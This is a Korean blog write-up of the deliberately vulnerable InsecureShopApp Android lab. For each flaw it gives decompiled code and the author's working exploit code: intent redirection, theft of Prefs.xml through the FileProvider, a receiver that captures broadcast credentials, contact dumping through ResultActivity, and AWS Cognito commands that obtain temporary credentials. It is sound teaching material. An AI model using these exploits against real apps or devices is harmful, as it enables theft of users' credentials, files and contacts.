앵하니의 더 나은 보안

InsecureShopApp 본격해체쇼 본문

보안 기술/Android

InsecureShopApp 본격해체쇼

앵한 2023. 10. 3. 15:42

InsecureShopApp?

InsecureShopApp은 SourceZeroCon2021에 발표했던, 취약하게 설계된 어플리케이션이다.

딥링크 취약점 데모 앱으로 InsecureShopApp을 설치해서 공격을 시연해봤는데 생각보다 이 앱에 테스트해 볼 수 있는 공격들이 많았다. 그래서 그 공격을 하나하나 뜯어 시연해보려 한다.

Insecureshopapp 설치 후 실행 화면

각 취약 항목 리스트는 insecureshop docs를 참고했다.

하드코딩 된 인증정보

로그인 정보가 없어 로그인할 수 없으니, 로그인 정보를 획득해보자

1. androidmanifest.xml 파일에서 메인액티비티 확인

com.insecureshop.ProductlistActivity가 메인액티비티

 

2. 메인액티비티 ProductlistActivity에서 prefs 값으로 Username이 없는 경우 LoginActivity 호출

 

3. 그리고 LoginActivity에서 onCreate 시 R.loayout.activity_login 리소스 사용

 

4. activity_login의 특정 버튼에서 클릭 시 onLogin 메소드 호출을 확인할 수 있음

 

5. onLogin에는 아이디/패스워드를 검증하는 것으로 추정되는 verifyUsernamePassword 메소드 동작 후 반환되는 값에따라 prefs를 생성하고 ProductActivity를 재호출하는 과정 존재

 

6. getUserCreds를 통해 username과 password를 가져와 입력한 값과 비교

 

7. 그리고 getUserCreds에는 userCreds라는 해쉬맵 변수에 shopuser와 !ns3csh0p(리트어로 insecshop) 할당확인, 각각 아이디/패스워드 값이라고 추측

 

8. 획득한 아이디 패스워드 추정 값 입력 후 로그인 시도

하드코딩된 인증정보로 로그인 성공

불충분한 URL 검증

https://aeng-is-young.tistory.com/entry/Deeplink%EB%94%A5%EB%A7%81%ED%81%AC-%ED%99%9C%EC%9A%A9-%EC%B7%A8%EC%95%BD%EC%A0%90%EA%B3%BC-%EA%B7%B8-%EC%8B%9C%EC%97%B0의 Deeplink 활용 취약점 시연 - Webview Hijacking의 insecureshop://com.insecureshop/web?url=https://naver.com 참고

약한 호스트 검증

https://aeng-is-young.tistory.com/entry/Deeplink%EB%94%A5%EB%A7%81%ED%81%AC-%ED%99%9C%EC%9A%A9-%EC%B7%A8%EC%95%BD%EC%A0%90%EA%B3%BC-%EA%B7%B8-%EC%8B%9C%EC%97%B0의 Deeplink 활용 취약점 시연 - Webview Hijacking의 insecureshop://com.insecureshop/webview?url=phishing.insecureshopapp.com 참고

임의 코드 실행

LoginActivity의 onLogin 메소드에서 쭉 내리다 보면 아래 반복문이 존재한다.

 

해당 반복문을 중요한 부분만 해석해보자

for (PackageInfo info : getPackageManager().getInstalledPackages(0)) {
//getPackageManager().getInstalledPackages와 반복문을 통해 단말기에 설치된 모든 패키지 호출
//for문 한번 수행할때마다 매번 다른 패키지 객체가 info에 할당
            String packageName = info.packageName;
            //packageName에 패키지 이름 할당
            Intrinsics.checkExpressionValueIsNotNull(packageName, "packageName");
            if (StringsKt.startsWith$default(packageName, "com.insecureshopapp", false, 2, (Object) null)) {
            //packageName이 'com.insecureshopapp'으로 시작한다면, 이라는 조건문
                try {
                    Context packageContext = createPackageContext(packageName, 3);
                    Intrinsics.checkExpressionValueIsNotNull(packageContext, "packageContext");
                    Object value = packageContext.getClassLoader().loadClass("com.insecureshopapp.MainInterface").getMethod("getInstance", Context.class).invoke(null, this);
                    //그렇다면 해당 패키지의 com.insecureshopapp.MainInterface클래스,  getInstance 메소드를 수행
                    Intrinsics.checkExpressionValueIsNotNull(value, "packageContext.classLoad…      .invoke(null, this)");
                    Log.d("object_value", value.toString());
                } catch (Exception e) {
                    throw new RuntimeException(e);
                }
            }
        }

위 소스코드는 패키지 명 검증을 적절히 수행하지 않아 임의의 소스코드를 실행 시킬 수 있다.
시나리오는 아래와 같다.

  1. 단말기에 'com.insecureshopapp.hackthedevice'라는 패키지명을 가진 어플리케이션을 설치시킨다.
  2. ‘com.insecureshopapp.hackthedevice' 어플리케이션에는 악성행위를 의도적으로 수행하는 ‘com.insecureshopapp.MainInterface’ 클래스의 'getInstance’ 메소드가 존재한다.
  3. 악성 어플리케이션이 설치된 상태로, 단말기 이용자는 아무것도 모른채 insecureshop 앱에서 로그인을 수행한다.
  4. 로그인 버튼 클릭 시 onLogin 메소드가 동작하며 위 반복문이 수행된다.
  5. 결국 com.insecureshopapp으로 시작하는 ‘com.insecureshopapp.hackthedevice' 패키지의 'com.insecureshopapp.MainInterface.getInstance’ 메소드가 동작하며 악성행위가 시작된다.

인텐트 리다이렉션(접근 불가 컴포넌트에 대한 접근)

해당 문제를 이해하기위해선 인텐트 구조에 대한 이해가 선행돼야 함

WebView2Activity 호출 시 발생한 intent 객체로, 별다른 검증 없이 startActivity 명령을 수행한다.

 

그리고 WebView2Activity는 외부에서 호출할 수 있도록 intent-filter가 설정된 상태

 

이는 곧, 외부에서 호출할 수 있는 WebView2Activity를 통해 내부에서만 호출할 수 있는 Activity를 호출해 낼 수 있음을 뜻한다.

 

해당 취약 포인트(WebView2Activity의 startActivity)를 이용하기 위해 외부에서 호출할 수 없는(exported=”false”) PrivateActivity를 호출해보고, 이를 이용해보도록 하자.

 

외부에서 호출할 수 없는 PrivateActivity에서는
수신된 인텐트의 “url” extra 데이터를 사용해 웹뷰를 실행한다.

고로 우리는 다음과 같은 비인가적 행위를 시도해볼 수 있다.

  1. 외부에서 호출 가능한 WebView2Activity를 호출
    1. 이때, WebView2Activity를 호출하는 인텐트는 “extra_intent”라는 extra에 또 다른 인텐트를 내포
    2. 내포하는 인텐트로는 com.insecureshop.PrivateActivity라는 구성요소와 “url“라는 extra 키에 대응하는 값으로 “https://hack-website.com”을 가짐
  2. 해당 인텐트를 수신한 WebView2Activity는 인텐트의 “extra_intent” extra로부터 com.insecureshop.PrivateActivity의 구성요소를 가진 인텐트 추출 및 호출
  3. 호출된 com.insecureshop.PrivateActivity는 호출에 사용된 인텐트의 “url” extra로부터 데이터 추출 후 해당 데이터를 url(https://hack-website.com)로 사용하여 웹뷰 로드
 
exploit 과정 도식화

위 과정을 위한 exploit 코드는 아래와 같다.

...
val extra = Intent()
extra.setClassName("com.insecureshop", "com.insecureshop.PrivateActivity");
//Webview2Activity에 보내질 인텐트에 포함될 인텐트
extra.putExtra("url","https://hack-website.com")
//PrivateActivity에서 특정 행위를 유발하기 위해 extra 데이터 삽입

val intent = Intent()
intent.setClassName("com.insecureshop", "com.insecureshop.WebView2Activity")
intent.putExtra("extra_intent",extra)
//최종적으로 PrivateActivity를 호출하기 위해
//webview2activity로 전송할 intent에 PrivateActivity 구성요소를 가진 인텐트 내포

startActivity(intent)
//만든 인텐트를 사용해 Activity 호출
...

관련 시연 영상은 아래 동영상 참고

https://www.youtube.com/watch?v=Vw7I99AR-Iw&t=851s

 

최종적으로 인텐트 리다이렉션을 통해 PrivateActivity를 거쳐 악성 URL 접근 유도 성공 화면
 

보호되지 않은 데이터 URI

WebView2Activity에서 또 아래 소스가 문제가 됐는데, 사실 이쯤되면 줄줄 쓰지않아도 어떤식으로 악용할 수 있는지 눈치챌것이다. 위에 썼던것과 맥락이 너무 유사해 자세한 설명은 생략한다.

LocalStorage에서 임의 파일 취득

얘때메 안드로이드 스튜디오도 설치하고 직접 소스코딩해서 앱 밀어넣어보고 별안간 발악을 해봤는데
시연처럼 안된다.

[exploit하기 위해 짰던 소스코드]

더보기
package com.insecuretestapp;

import android.content.Intent;
import android.net.Uri;
import android.os.Bundle;
import androidx.appcompat.app.AppCompatActivity;

public class MainActivity extends AppCompatActivity {

    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);

        Intent intent = new Intent("android.intent.action.SEND");
        intent.setClassName("com.insecureshop", "com.insecureshop.ChooserActivity");
        intent.setType("text/*");
        //intent.putExtra(Intent.EXTRA_STREAM, Uri.parse("/data/data/com.insecureshop/shared_prefs/Prefs.xml"));
        intent.putExtra("android.intent.extra.STREAM", Uri.parse("/data/data/com.insecureshop/shared_prefs/Prefs.xml"));
        startActivity(intent);
    }
}

https://www.youtube.com/watch?v=wphBK0AorxQ&pp=ygUzaW5zZWN1cmUgVGhlZnQgb2YgQXJiaXRyYXJ5IGZpbGVzIGZyb20gTG9jYWxTdG9yYWdl

조금 알아봤더니 android 10까지 유효하다고 하고 그 이후로는 불가한듯 함 ㅎ
근데 테스트 단말기는 전부 android 11 이상이라서 뭐가 안되는 듯 하다.


https://stackoverflow.com/questions/66970847/android-mkdirs-return-false-on-android-11-with-environment-getexternalstoraged

찾아보니 안드로이드 11 이상부터는 외부저장소 루트디렉토리, 그러니까 /sdcard 하위 경로에 디렉토리를 생성할 수 없다고 한다. 대신 외부저장소 루트디렉토리의 하위 디렉토리에는 접근할 수 있는데, insecureshopapp에서는 외부저장소 루트디렉토리에 폴더를 만들려해, 해당 취약점은 공략이 불가한것으로 보인다.

 

실제 안드로이드 11 버전에서 폴더 생성을 테스트하기 위해 아래 소스코드를 작성했다.

protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        try {
            StringBuilder sb = new StringBuilder();
            File externalStorageDirectory = Environment.getExternalStorageDirectory();
            Intrinsics.checkExpressionValueIsNotNull(externalStorageDirectory, "Environment.getExternalStorageDirectory()");
            sb.append(externalStorageDirectory.getAbsolutePath());
            sb.append(File.separator);
            sb.append("testdirectory");
            String path = sb.toString();
            File directory = new File(path);
            Boolean can_create = null;
            if (!directory.exists()) {
                Log.d("not exist", "not exist directory");
                can_create = directory.mkdirs();
            }
            Log.d("fin 1", "finished :" + Boolean.toString(can_create));

            File dir = new File(Environment.getExternalStoragePublicDirectory(Environment.DIRECTORY_DOCUMENTS), "My_directory");
            if (!dir.exists()) {
                Log.d("not exist", "not exist directory");
                can_create = dir.mkdirs();
            }
            Log.d("fin 2", "finished :" + Boolean.toString(can_create));

        } catch (Exception e) {
            e.printStackTrace();
        }

 

앱 실행 결과, 루트 경로에 디렉토리를 생성하려니 false가 떨어지고, 루트/Documents/ 경로에 디렉토리를 생성하니 true가 떨어진다.

 

adb를 통해 확인해보니 역시나 /sdcard 경로에는 insecureshop 폴더가 생성되지 않았고, /sdcard/Documents/에는 My_directory 폴더가 생성된걸 확인할 수 있었다.

 

고로 본 취약점을 시연해보고자 한다면, 안드로이드 10 버전 이하의 테스트단말기를 사용해야만 한다.

 

안전하지 않은 BroadcastReceiver

AboutUsActivity 화면실행 시 onCreate에서 CustomReceiver 객체를 “com.insecureshop.CUSTOM_INTENT“를 신호로 하는 BroadcastReceiver 등록하는데,

AboutUsActivity 內 onCreate

이는 곧 AboutUsActivity에서 “com.insecureshop.CUSTOM_INTENT” 신호 Broadcast 시 CustomReceiver가 해당 broadcast 인텐트를 처리함을 뜻한다.

그렇다면 CustomReceiver에서 broadcast 인텐트를 어떻게 처리하는지 확인해보자

CustomReceiver

CustomReceiver에서는 수신한 intent의 ‘web_url’ extra key로부터 값을 추출해 새로운 intent 생성 및 “url” extra key에 대응하는 value로 다시 삽입하여 WebView2Activity를 호출한다.

 

그럼 WebView2Activity에서는 수신된 intent에서 ‘url’ extra key에 대응하는 값을 추출해 웹뷰 로드에 사용한다.

 

그러니까 “com.insecureshop.CUSTOM_INTENT“의 broadcast 신호를 발생시키는데, 이때 “web_url” extra key의 value로 악성 웹 사이트가 들어있는채라면 해당 웹 사이트 접근이 유도된다는 것이다.

진짜 그런지 한번 테스트해보도록 하자

 

1. 앱 내부에서 About 클릭

 

2. AboutUsActivity 진입

 

3. 아래 명령어를 입력해 https://naver.com에 접근을 유도하는 broadcast 생성
$am broadcast -a 'com.insecureshop.CUSTOM_INTENT' --es web_url "https://naver.com"

 

4. AboutUsActivity에서 의도한대로 https://naver.com 접근 유도 성공 

근데 이게 exploit되기 조건들이 까다로워서 어떻게 악용될 수 있을지는 잘 모르겠다.
차차 생각해보도록 하자..

 

https://docs.insecureshopapp.com/insecureshop-challenges/insecure-broadcast-receiver

여기 보니까 startActivity 후에 sendBroadcast로 악성 url 접근 시킬 수 있는거 같긴한데 이게 의미가 있나?
그렇게 힘들게 공략할바에 그냥 악성앱에서 바로 악성 url 띄우면 되는거 아닌가 싶은데

高………

미흡한 AWS Cognito 설정

AWS Cognito란 웹 및 모바일 앱을 위한 자격 증명 플랫폼이라고 한다.

그리고 그와 관련해서, AWS identity pool ID가 apk 파일 내 resource 공간에 존재한다.

 

굳이 찾아보는게 아니더라도, nuclei 취약점 자동 진단 툴을 쓰면, 어디경로에 중요정보가 있는지 쉽게 확인 가능하다.

 

그럼 취득한 aws identity pool ID를 사용해 IdentityID를 획득할 수 있고,

➜  aws cognito-identity get-id --identity-pool-id us-east-1:7e9426f7[REDACTED]c1c --region us-east-1

{
    "IdentityId": "us-east-1:cff1435a-16c7-42e5-af8c-7ba43aad0fe6"
}

 

Identity ID를 통해 accesskeyId, secretKey, sessiontoken 값 획득이 가능하다.

➜  aws cognito-identity get-credentials-for-identity --identity-id us-east-1:cff1435a-16c7-42e5-af8c-7ba43aad0fe6 --region us-east-1

{
    "IdentityId": "us-east-1:cff1435a-16c7-42e5-af8c-7ba43aad0fe6",
    "Credentials": {
        "AccessKeyId": "ASIARL4ASLIPQQS37QF3",
        "SecretKey": "eA/nYHHAd7ElH2xMy0p+8t79+nNpqiWPwAW2Q5lQ",
        "SessionToken": "IQo[...]i",
        "Expiration": "2021-09-23T22:06:54+02:00"
    }
}

 

사실 이까지만 와도 엄청 크리티컬한거라 이 뒷과정은 이제 https://erev0s.com/blog/aws-cognito-misconfigurations-in-android-apps/를 참고하자

FileProvider에서 취약한 FilePath의 사용

Androidmanifest.xml에 file provider 관련 선언이 존재한다.
해당 provider는 android:grantUriPermissions가 true로 설정돼있고, @xml/provider_paths를 참고한다고 정의돼 있다.

<provider android:name="androidx.core.content.FileProvider" android:exported="false" android:authorities="com.insecureshop.file_provider" android:grantUriPermissions="true">
    <meta-data android:name="android.support.FILE_PROVIDER_PATHS" android:resource="@xml/provider_paths"/>
</provider>

그래서 @xml/provider_paths.xml 파일을 확인해보면, 아래와 같이 root-path 선언이 돼 있는데, 여기서 root-path로 “/”가 설정되있음을 확인 가능하다.

 

거기에 특정 ResultActivity라는 Activity의 onCreate에서 setResult 관련 로직이 존재하는데, setResult 시 intent에 대한 검증이 적절히 이루어지지 않아 해당 포인트를 취약점으로 공략해볼 수 있다.(해당 activity의 exported 또한 true로 설정됨)

 

그러니까 file provider의 path로 “/”가 설정되고, android:grantUriPermissions가 true로 설정된데다가 외부에서 호출 가능한 activity에서 setResult에 대한 검증이 불충분해서, 외부 어플리케이션을 통해 insecureshop의 FileProvider를 통해 단말기 영역 또는 insecureshop 데이터 영역의 파일에 접근할 수 있다.
(본래 앱의 데이터 영역은 adb나 사용자 권한으로 접근할 수 없고 오로지 앱 권한으로만 접근 가능하다.)

앱 데이터 영역의 Prefs.xml 파일 content provider 형식으로 호출, startActivityForResult를 사용해 결과 값 반환(그리고 당연히 호출하는 insecureshop 액티비티에 setResult 함수가 존재해야함)

fun insecureFileProvider() {
    val contentUri = Uri.parse("content://com.insecureshop.file_provider/root/data/data/com.insecureshop/shared_prefs/Prefs.xml")
    val intent = Intent()
    intent.data = contentUri
    intent.setClassName("com.insecureshop", "com.insecureshop.ResultActivity")
    intent.flags = Intent.FLAG_GRANT_READ_URI_PERMISSION
    startActivityForResult(intent, 0)
}

 

반환된 결과 값 로그로 출력

override fun onActivityResult(requestCode: Int, resultCode: Int, data: Intent?) {
    super.onActivityResult(requestCode, resultCode, data)
    try {
        val content = IOUtils.toString(contentResolver.openInputStream(data?.data!!))
        Log.d("erev0s.com", content)
        Toast.makeText(this@MainActivity, content, Toast.LENGTH_SHORT).show()
    } catch (e: Exception) {
        throw RuntimeException(e)
    }
}

 

악성 앱 실행 결과, insecureshop 앱 권한을 사용해 Prefs.xml 파일 내용을 잘 읽어왔음을 확인할 수 있다.

민감한 데이터가 존재하는 암시적 intent로 브로드캐스트 사용

AboutUsActivity의 onSendData 메소드를 보면, Prefs에서 username과 password값을 추출해 인텐트의 extra 값으로 각각 저장하고, broadcast하는 내용이 존재한다.

 

그리고 이 onSendData를 언제 사용하는지 확인해보니, 정황상 로그아웃 할 때와 'About Insecureshop' 버튼을 클릭할 때 사용하는 듯 하다.

근데 logout 버튼 클릭 시 동작하는 onSendData는 다른 액티비티의 onSendData를 말하는거였다. 그래서 logout 버튼은 제외

 

그러니까 AboutUsActivity에서 'About Insecureshop' 버튼을 클릭하면 아이디/패스워드 값을 단말기 내 모든 앱들에게 broadcast 한다는거다.

 

진짜로 아이디 패스워드를 모든앱에 broadcast하는지 “com.insecureshop.action.BROADCAST“ 신호 수신용 broadcast receiver를 다른 앱에 만들어 확인해보자

[exploit 앱 소스]

더보기

AndroidManifest.xml

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:tools="http://schemas.android.com/tools">

    <application
        android:allowBackup="true"
        android:dataExtractionRules="@xml/data_extraction_rules"
        android:fullBackupContent="@xml/backup_rules"
        android:icon="@mipmap/ic_launcher"
        android:label="@string/app_name"
        android:roundIcon="@mipmap/ic_launcher_round"
        android:supportsRtl="true"
        android:theme="@style/Theme.InsecureTestapp"
        tools:targetApi="31">
        <receiver
            android:name=".MyReceiver"
            android:enabled="true"
            android:exported="true"></receiver>

        <activity
            android:name=".MainActivity"
            android:exported="true"
            android:label="@string/title_activity_main"
            android:theme="@style/Theme.InsecureTestapp">
            <intent-filter>
                <action android:name="android.intent.action.SEND" />
                <action android:name="android.intent.action.MAIN" />

                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
    </application>

</manifest>

MainActivity.java

package com.insecuretestapp;

import android.content.Intent;
import android.content.IntentFilter;
import android.os.Bundle;
import android.widget.TextView;

import androidx.appcompat.app.AppCompatActivity;

public class MainActivity extends AppCompatActivity {
    private MyReceiver broadcastReceiver;
    private TextView idTextView;
    private TextView passwordTextView;

    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);

        setContentView(R.layout.layout);
        Intent getBroadcast = getIntent();
        idTextView = findViewById(R.id.getID);
        passwordTextView = findViewById(R.id.getPassword);

        broadcastReceiver = new MyReceiver(idTextView, passwordTextView);

        IntentFilter filter = new IntentFilter("com.insecureshop.action.BROADCAST");
        registerReceiver(broadcastReceiver, filter);
    }

    protected void onDestroy(){
        super.onDestroy();
        unregisterReceiver(broadcastReceiver);
    }
}

MyReceiver.java

package com.insecuretestapp;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.widget.TextView;

public class MyReceiver extends BroadcastReceiver {
    private TextView idTextView;
    private TextView passwordTextView;

    public MyReceiver(TextView idTextView, TextView passwordTextView){
        this.idTextView = idTextView;
        this.passwordTextView = passwordTextView;
    }

    @Override
    public void onReceive(Context context, Intent intent) {
        if (intent != null && "com.insecureshop.action.BROADCAST".equals(intent.getAction())) {
            String id = intent.getStringExtra("username");
            String password = intent.getStringExtra("password");
            idTextView.setText(id);
            passwordTextView.setText(password);
        }
    }
}

layout.xml

<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
    android:layout_width="match_parent"
    android:layout_height="match_parent">

    <TextView
        android:id="@+id/textView4"
        android:layout_width="2dp"
        android:layout_height="wrap_content"
        android:layout_weight="1"
        android:text="ID :" />

    <TextView
        android:id="@+id/getID"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:layout_weight="1" />

    <TextView
        android:id="@+id/textView6"
        android:layout_width="0dp"
        android:layout_height="wrap_content"
        android:layout_weight="1"
        android:text="Password : " />

    <TextView
        android:id="@+id/getPassword"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:layout_weight="1" />
</LinearLayout>

 

 

1. 만든 앱 실행 및 ID, Password 공란 확인 후 백그라운드로 전환

 

2. InsecureShop앱의 AboutActivity 화면에서 ‘About InsecureShop’ 클릭

 

3. About Insecureshop 클릭 확인(메시지는 의미없음)

 

4. 백그라운드의 앱에서 브로드캐스트 리시버에 의해 Insecureshop 앱의 아이디/패스워드 값 수신 및
화면 표기 확인 가능

 

임의의 URL을 로드하려는 암시적 intent 가로채기

Insecureshop 앱에서 로그인 후 More info 클릭 시

 

ProductAdapter holder.getMBinding().moreInfo.setOnClickListener가 동작한다.

 

그리고 sendBroadcast된 intent(com.inseucreshop.action.PRODUCT_DETAIL)를 통해 미리 ProductListActivity(상품화면)의 onCreate에서 등록된 intent-filter를 통해 WebView를 호출한다.

근데 sendbroadcast 특성 상 설치된 모든 패키지에 intent를 전달하기때문에 다른 어플리케이션에서 “com.insecureshop.action.PRODUCT_DETAIL“ 신호를 잡아 특정행위를 수행하거나, 정상행위인척 비정상행위를 유발할 수 있다.

여기까지 해석했다면, 나머지 과정은 전부 “안전하지 않은 BroadcastReceiver” 과정과 동일하다.
소스코드는 “안전하지 않은 BroadcastReceiver”에서 com.insecureshop.action.BROADCAST 키워드를 com.insecureshop.action.PRODUCT_DETAIL로 수정만 하면 된다.
한번 테스트해보자

※ 동영상을 첨부했으나 알 수 없는 티스토리 버그로 동영상과 글이 겹치는 이슈 발생 ㅜ 그래서 일단 접어놓습니다.

더보기
특별히 악성 행위를 한건 아니지만, insecureshopapp에서 발생하는 sendBroadcast를 통해 특정 액티비티를 호출

 

가로채기라고 표현했지만 사실 sendBroadcast를 통해 모든 패키지에 intent를 보낸것이기 때문에 insecurehsopapp에서와 악성 앱에서 동시에 “com.insecureshop.action.PRODUCT_DETAIL“ sendBroadcast 관련 동작이 진행된다.

 

exported Activity 내 취약한 SetResult 구현

exported Activity에서 setResult 데이터를 넘게주게 될 경우 해당 앱에 허용했던 권한을 이용할 수 있다는 게 핵심

 

Androidmanifest.xml 파일 내 exported 값이 true인 ResultActivity가 존재한다.

 

 

ResultActivity의 동작을 보면, 그냥 호출때 사용된 인텐트를 getIntent 해서 그 내용을 반환하는게 전부다.

근데 이게 취약할 수 있는게, 사용자는 앱마다 부여하는 권한이 다른데 exported true로 설정된 액티비티에서 setResult를 검증없이 수행케한다면 사용자가 아무런 권한을 부여하지 않은 앱에서 권한이 부여된 앱을 이용해 카메라, 주소록, 위치 등의 권한을 사용할 수 있다.

exploit code

val intent = Intent()
intent.data = ContactsContract.RawContacts.CONTENT_URI
intent.flags = Intent.FLAG_GRANT_READ_URI_PERMISSION
intent.setClassName("com.insecureshop", "com.insecureshop.ResultActivity")
startActivityForResult(intent, 0);
override fun onActivityResult(requestCode: Int, resultCode: Int, data: Intent?) {
    super.onActivityResult(requestCode, resultCode, data)
    try {
        dump(data!!.data)
    } catch (e: Exception) {
        throw RuntimeException(e)
    }
}

fun dump(uri: Uri?) {
    val cursor: Cursor? = contentResolver.query(uri!!, null, null, null, null)
    if (cursor!!.moveToFirst()) {
        do {
            val sb = StringBuilder()
            for (i in 0 until cursor.columnCount) {
                if (sb.isNotEmpty()) {
                    sb.append(", ")
                }
                sb.append(cursor.getColumnName(i).toString() + " = " + cursor.getString(i))
            }
            Log.d("CONTACTS_RAW", sb.toString())
        } while (cursor.moveToNext())
    }
}

intent 데이터로 ContractsContract.RawContracts.CONTENT_URI 삽입 및 URI 접근에 대한 권한을 부여한 뒤 ResultActivity를 호출, ResultActivity에서는 해당 인텐트를 넘겨받아 getIntent()만 수행한 뒤 수행한 내용을 다시 반환, 다시 공격앱에서는 ResultActivity에서수행된 getIntent() 결과에 대한 쿼리 질의를 통해 최종적으로 아래와 같이 연락처 정보 획득 가능

2021-10-11 21:34:43.116 4345-4345/com.erev0s.attackerinsecureshop D/CONTACTS_RAW: phonetic_name = null, last_time_contacted = null, custom_ringtone = null, pinned = 0, account_type = com.google, aggregation_mode = 0, contact_id = 1, display_name_alt = Doe, John, sort_key_alt = Doe, John, starred = 0, phonebook_label = J, account_name = accountName@gmail.com, display_name_source = 40, phonetic_name_style = 0, send_to_voicemail = 0, dirty = 0, sourceid = 538b6d4f8ff9127c, phonebook_label_alt = D, phonebook_bucket = 10, data_set = null, display_name = John Doe, sort_key = John Doe, version = 11, backup_id = null, deleted = 0, sync4 = null, sync3 = 1633872460615472, raw_contact_is_user_profile = 0, times_contacted = 0, sync2 = #VZiJGdZJy2c=, _id = 1, metadata_dirty = 0, sync1 = null, account_type_and_data_set = com.google, phonebook_bucket_alt = 4

 

취약한 Content Provider

Androidmanifest.xml에서 Content Provider 클래스 com.insecureshop.contentProvider.InsecureShopProvider확인 가능

<provider android:name="com.insecureshop.contentProvider.InsecureShopProvider" android:readPermission="com.insecureshop.permission.READ" android:exported="true" android:authorities="com.insecureshop.provider"/>

그리고 com.insecureshop.contentProvider.InsecureShopProvider에는 Content Provider에 대한 소스가 존재하는데, URI 호출을 통해 query 부분을 외부에서 호출하고, 반환 시킬 수 있음

아래는 URI를 통해 Content Provider를 호출하고, URI를 통해 호출했으니 query까지 동작하게해 반환 결과를 로그로 출력시키는 악성 앱의 핵심 소스코드

fun insecureContentrovider() {
    try {
        val URL = "content://com.insecureshop.provider/insecure"
        val data = Uri.parse(URL)
        (activity as MainActivity).dump(data)
    } catch (ex: Exception) {
        ex.printStackTrace()
    }
}

 

SSL 인증서 유효성 검증 부재

com.insecureshop.util.CustomWebViewClient에 다음과 같은 소스코드가 존재한다.

public final class CustomWebViewClient extends android.webkit.WebViewClient {
    public void onReceivedSslError(android.webkit.WebView view, android.webkit.SslErrorHandler handler, android.net.http.SslError error) {
        if (handler != null) {
            handler.proceed();
        }
    }
}

이는 SSL 에러 발생 시 handler.proceed()를 통해 에러를 무시하고 웹 페이지를 이어서 로드하라는 의미이다.
그리고 SSL 에러 중에는 SSL 인증서의 유효성 검증에 대한 부분도 존재하는데, 이 유효성 검증이 적절히 이루어지지 않으면 중간자공격에 의해 발급된 신뢰하지않는 인증서에 그대로 노출된다.
이는 곧 SSL/TLS 통신을 하더라도 중간자가 발급한 인증서로 해당 패킷 내용을 확인해 볼 수 있음을 뜻한다.

하여 해당 로직을 좀 더 세분화 시켜 ssl 에러의 내용을 확인하고, 인증서 유효성 검증 관련 에러가 발생한 경우 더이상 페이지 로드가 진행되지 않도록 수정되어야 한다.

취약한 웹뷰 속성 사용

WebViewActivity에서 onCreate할 때 웹 뷰에 대한 설정을 세팅하는데, 개중에 settings.setAllowUniversalAccessFromFileURLs(true)라는 친구가 존재한다.

웹 뷰에서 단말기에 존재하는 파일에, file:// 형식의 URL을 통해 접근할 수 있음을 뜻하는데 해당 포인트를 통해 좀 많이 까다로운 악성 행위를 발생시킬 수 있다.

 

악성 행위를 유발하기 위해 사전작업이 요구되는데,
1. victim이 접근할 해커의 웹 서버가 필요
2. 해커의 악성 html 파일이 victim의 단말기에 존재하는 상태
3. victim의 단말기에 해커의 악성 앱이 설치된 상태
4. 웹 뷰에 intent를 통해 호출할 수 있어야 함
5. victim의 중요정보가 포함된 파일이 존재
6. '안전하지 않은 BroadcastReceiver' 취약점 존재

 

그리고 마지막으로 victim은 설치된 해커의 악성 앱을 실행해야 한다.

 

이렇게 공격이 까다롭기때문에 공격 유형이라고 보긴 힘들고 하나의 공격 시나리오로 보는게 맞겠다.
시나리오 공격 과정은 다음과 같다.

  1. 모종의 경로를 통해 victim 단말기에 해커의 악성 앱 및 악성 html 파일 다운로드
  2. victim이 악성 앱 실행
  3. 악성 앱에서 insecureshopapp의 웹뷰를 호출하는 암시적 intent sendBroadcast,
    그리고 해당 intent는 file:///sdcard/hack.html라는 악성 html파일에 접근하도록 설정된 상태
  4. insecureshopapp 웹뷰가 호출, 수신된 intent를 통해 웹뷰에서 해커의 악성 html 파일 hack.html에 접근
  5. 악성 html에 접근 시 file:///sdcard/data/data/com.insecureshop/shared_prefs/Prefs.xml의 내용을 해커의 웹 서버로 전송

 

시연 영상

https://player.vimeo.com/video/576373250?h=787160c19d%22

 

InsecureShop - Exploiting WebView Properties from Gaurang Bhatnagar on Vimeo

 

player.vimeo.com

 

취약한 데이터 스토리지

LoginActivity에서 로그인을 하게되면 onLogin 메소드가 동작하는데, 잘 들여다보면 username, password 값을 그대로 앱의 shared_prefs 폴더 내 데이터 파일 안에 저장하는 것을 확인 수 있다.

데이터는 Prefs.xml 파일에 저장
앱 데이터 영역 내 중요정보를 평문으로 저장하는 것 자체만으로도 보안에 신경을 1도 안썼다 말할 수 있겠다. 데이터 영역은 일반 adb 권한이나 기본 단말기 권한으로 확인해 볼 수는 없지만, 루트권한을 가졌거나 기타 다른 경로를 통해 해당 파일이 유출될 수 있기때문에 중요정보는 웬만하면 암호화해서 저장하거나 저장하지 않을것을 권한다.


일단 진짜 평문으로 저장하는지 앱에서 로그인 후에 /data/data/com.insecureshop/shared_prefs/Prefs.xml 파일을 확인해 보자

1. insecureshopapp 로그인

 

2. 앱에서 로그인 후 /data/data/com.insecureshop/shared_prefs/Prefs.xml 파일 확인 시 평문상태의 패스워드 값 확인 가능

 

취약한 로깅

LoginActivity에서 아이디 패스워드 입력해서 로그인을 시도하면 입력한 값을 그대로 logcat에 찍는 소스가 존재한다.

logcat에 중요정보를 남기는건 어플리케이션이 종료돼도 단말기가 꺼지거나 로그가 밀리지 않는 이상 계속 남아 있고, 접근도 쉽기때문에 엄청 위험하다 할 수 있겠다.

 

logcat에 어떤식으로 중요정보가 기록되는지 확인해보자

1. Insecureshop 앱에서 아이디/패스워드를 입력해 로그인 시도(실패해도 logcat 기록에 남음)

 

2. logcat 내 username/password 기록 확인

 

총평 & 후기

인텐트 관련 취약점이 90프로는 되는듯
그리고 인텐트 관련 취약점은 무조건 Androidmanifest.xml 파일을 참고가 최우선
+ 4대 컴포넌트에 대한 배경지식이 짱짱해야 쑥쑥 이해가능

